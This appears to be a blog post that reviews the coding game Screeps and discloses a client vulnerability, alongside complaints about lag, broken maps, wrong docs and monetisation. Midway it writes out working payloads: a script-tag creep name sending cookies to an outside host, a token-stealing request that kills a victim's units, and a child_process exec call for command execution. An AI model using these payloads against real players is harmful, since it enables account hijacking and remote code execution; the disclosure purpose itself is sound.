Screeps: How One Steam Developer Made a Million Dollars Selling a Remote Access Trojan
If you've ever played real time strategy games, you've probably encountered it.
You've given your unit a simple task. "Collect wood from the forest". "Repair this building". "Attack that enemy".
Your unit proceeds to do what it was told in the dumbest possible way. While heading to the forest, it walks straight through an enemy camp that it could have easily gone around. While repairing the building, it chooses to stand in a fire the entire time. In its attempt to attack a retreating enemy, it doggedly follows that enemy halfway across the map and gets eaten by wolves.
"If only those incompetent game devs didn't give these units such a terrible AI", you think to yourself, "I wouldn't have to micromanage their movement and could focus on the interesting strategical decisions".
Screeps is a game that exists to show you just how much of a fool you are.
In most respects, Screeps is just like any other MMO RTS. You must gather resources, place buildings, spawn new units, and defend your colony from attack. Over time you can claim new land, build new bases, and try to take over the map. It's actually quite a simple game compared to most, with one exception: Your units do not come with an AI.
In Screeps (short for "Scripting Creeps"), you cannot click on a unit ("creep") and tell it what to do. If you place a building on the map, your builders will stand next to it and do nothing. There are no buttons to give your creeps instructions. Instead, you must write code to define their behavior.
The game world is divided into squares. Each square has a terrain type, can contain up to one creep, and can contain one or more buildings. Your code has access to the state of the world near your bases, and on each game tick your code must calculate a course of action for each creep, like "walk up one square" or "attempt to mine resources if there is one adjacent to you".
As your colony grows, you'll stop having time to place every building yourself. Not to worry! Your code can do that too. Same for spawning new creeps, claiming new territory, and everything else. With the right code, your colony will play itself with zero human input, expanding out across the world map autonomously.
It's a fascinating idea. A fully customizable game. No longer must you despair at your units doing stupid things because of some hardcoded AI that you have no control over. Now, you can watch them do stupid things that you know are 100% your fault, and you definitely could have avoided if you were smarter.
Screeps is for sale on Steam for $20. It is one of the best ways I have ever encountered for new coders to learn real programming skills. The API is dead simple and there's a tutorial that will get your creeps mining ore within a few minutes. There is then practically no ceiling to how complex your codebase can become as you try to make your colony more and more independent, and use better and better tactics in its inevitable clashes with the surrounding enemy colonies.
There is one small downside. If you join any of the multiplayer worlds, every other player in that world gains the potential ability to run arbitrary code on your computer.
In Multiplayer Screeps worlds, all of the code to progress the game runs on the server, including the AI for your units. A convenient interface allows you to push files that immediately deploy and start running on the next tick. But it takes a huge amount of work to create a fully autonomous colony; usually you'll start out just automating the simple tasks like resource collection, and you'll still want to place buildings and direct exploration parties yourself. Not to mention that after the 5th time two of your screeps get stuck facing each other such that neither can ever move again, you're really going to want some way to debug.
So the client helpfully provides a local console that mirrors your commands to the server to run on the next tick, and sends the output back to your console. This allows you to use it as a (very slow) remote console session to the environment in which your code is running. Over time you'll start to define your own shortcuts, like a single command you can enter in order to have your creeps mount a complex assault on a designated room. You'll also start to introduce logging to catch all the cases you haven't yet automated. One of your bases has run out of a particular resource due to an imbalance in your economy, one of your bases has been attacked, one of your neighbors has sent you a message. You can't maintain a large colony without sufficient intel.
Since Screeps uses out-of-the-box Javascript and there's little cosmetics to speak of, you'll generally use console.log statements to send yourself these notifications.
Here is the result if your code runs console.log("hello world") on each tick:
Wait, this is exciting. Your code is working! Let's add a little more emphasis with console.log("<i>hello world</i>"):
Screeps conveniently parses the HTML for you! How nice of them.
By the way, did you know that Screeps allows you to name your creeps? You can give them functional names like "Builder 1" and "Warrior 3", traditional names like "Alice" and "Bob", or cute, avant-guard names like "Robert <script>new Image().src=`codingismypassion.com?${document.cookie}`</script>".
This adds an exciting new level to the in-game tactics! If one of your neighbors has unwisely set their code to log the name of any creep that attacks one of their buildings, an unfortunate encounter with your aforementioned creep
Of course this is not really within the spirit of the game. Screeps is all about automation, and having to manually log into your opponent's account and sabotage their base by hand sounds like work. Much better to do something like t=localStorage.auth.replace(/"/g,"");fetch("/api/user/console",{method:"POST",headers:{"content-type":"application/json","x-token":t,"x-username":t},body:JSON.stringify({expression:"Object.values(Game.creeps).forEach(creep=>creep.suicide())",shard:window.location.hash.match(/shard\d+/)?.[0]})}) and have their colony instantly die upon contact with yours.
Now luckily Screeps is a browser game, so the damage here is limited.
Wait, no it isn't. Screeps is on Steam, and the native client reuses the browser code but with no sandboxing. nw.require('child_process').exec('your command here') will get you full command line access to the target machine.
So that's not great.
Of course the game devs were responsibly notified of this vulnerability on Github. They spent eleven months carefully considering the best response and decided on the following: "We do not see this as a serious security threat."
Much ink has been spilled in recent years about the risk of programmers being replaced with AI. My thoughts on the likelihood and valence of this outcome are complex, but one thing I am growing increasingly certain of is that there are some programmers for whom being replaced with AI would be a net benefit to society.
To be fair, the devs have a lot of other work on their hands.
Consider the UI. It's slow. Extremely slow. There's generally a 0.5-2 second lag after any input before the action occurs, and sometimes more.
This is not that big a deal, because most of your interaction with the game will not consist of actually using the client. You'll be alternating between writing code in your own IDE, watching your creeps move around and yelling "WHY ARE YOU DOING THAT", then back to writing code desperately trying to make them act less dumb.
One place where it is a serious issue is the world map. You need to be able to look around at surrounding rooms to see where resources and potential enemies are. But the map takes multiple seconds to load every time you navigate to it, then half a second to respond every time you drag your mouse to move around, and then multiple seconds after it moves to load in the new location. At times I've had it take more than 15 seconds to load, despite being on a fast internet connection. This borders on unusable, and you'll come to loathe every time you have to use it.
The UI is also missing basic functionality. If you want to place some flags (used to tell your units where to go), you can't do that from the world map. You have to go into the room in question, wait for it to load, place the flag, navigate back out to the world map, wait for it to load, and repeat. If you want to place 10 flags to mark out a path, expect this to take you multiple minutes. The search bar also doesn't work, so if you're looking around the map and forget where your own base is, uh, good luck finding it again.
(There are also multiple redundant world maps, for some reason? The "new" map has slightly better graphics, but isn't any faster to load, and is also totally broken; it renders terrain from a different map seed and doesn't show the location of my units. (There's a 'units' toggle, but pressing it actually makes unrelated map features dissapear.) And in one of the funniest instances of untested game design I've come across, this map renders opponent units in a color of their choice; so if they choose the map background color, their units are invisible.)
The issues aren't limited to the UI. The whole game is unstable. Each game tick was originally supposed to take around 1 second (itself much slower than the real time movement shown in the trailer), but in reality they usually take several times longer. (The Steam description was eventually updated to admit ticks take 2-5 seconds, trying to spin this slowness as somehow helping players debug their code.
The issues aren't even limited to the code! Screeps has documentation on all of the functions you can use to manipulate game objects. It does not seem to have been written by someone who actually plays the game, knows how it works, or has the first idea what information players would need from documentation. The entry on the "attack" function doesn't tell you how much damage it deals. Many entries are blatantly wrong, like one function that the document claims finds the optimal path between two points, but in reality uses a heuristic that will find much worse paths, resulting in your creeps unexpectedly dying of old age on the way. (Took me a while to debug that one.) There's a "survival mode" that is not mentioned anywhere in the docs. I have no idea how it works.
Luckily, with all the time the devs are saving on the security side of their application, they're hard at work fixing all of- actually all of these problems have existed for more than 5 years. The entire game is pretty much stagnant, despite charging a $10 a month subscription if you want to have a fighting chance in the main multiplayer world.
So what are the devs doing? Seems to be, whatever has the highest monetization/effort ratio. If you look at the updates they post on Steam, they're mostly about things like seasonal worlds that require you to pay for "access keys" with real money, and visual decorations that also cost real money, and simplistic tack-on features (like the aptly named "power creep") that make the game strategically worse, but are big and flashy and allow them to say "look we added this cool new thing". (The core gameplay was also made partially pay-to-win, as there's a market in which you can turn real money into the in-game resources you need to expand.)
(Oh yeah, and defrauding their customers. I posted a review of Screeps on Steam that warned people about the remote code execution vulnerability in the client. After the review started getting voted helpful, one of the game developers, "Artch", replied to my review claiming no such vulnerability existed.)
They're also working on a whole new game, Screeps: Arena. Having learned from their inability to make a functional world map, Screeps: Arena doesn't have a persistent world, but rather is a series of short PvP matches between players, with more advanced movement and combat options for the individual units. I haven't checked how much it costs to play.
Despite all this, Screeps is a popular game. It's rated "very positive" on Steam with almost 2000 reviews
Savvy users can of course protect themselves by either studiously avoiding ever logging any attacker-controller string, or overwriting the native console.log function with one that sanitizes the HTML.
(Many of the reviews do point out how slow and buggy it is, to which the developers copy-paste the same reply advertizing their new Arena game as a "better fit".)
I think this speaks to just how good the core concept is. Even with utterly incompetent game management
There is one ray of hope: The server code is open-source, and alternative clients have already been created by the community. You can play Screeps without giving a cent to the managing company or downloading any of their malware, and perhaps in the future a more responsible individual or group could take over development of the game.
I really hope someone does.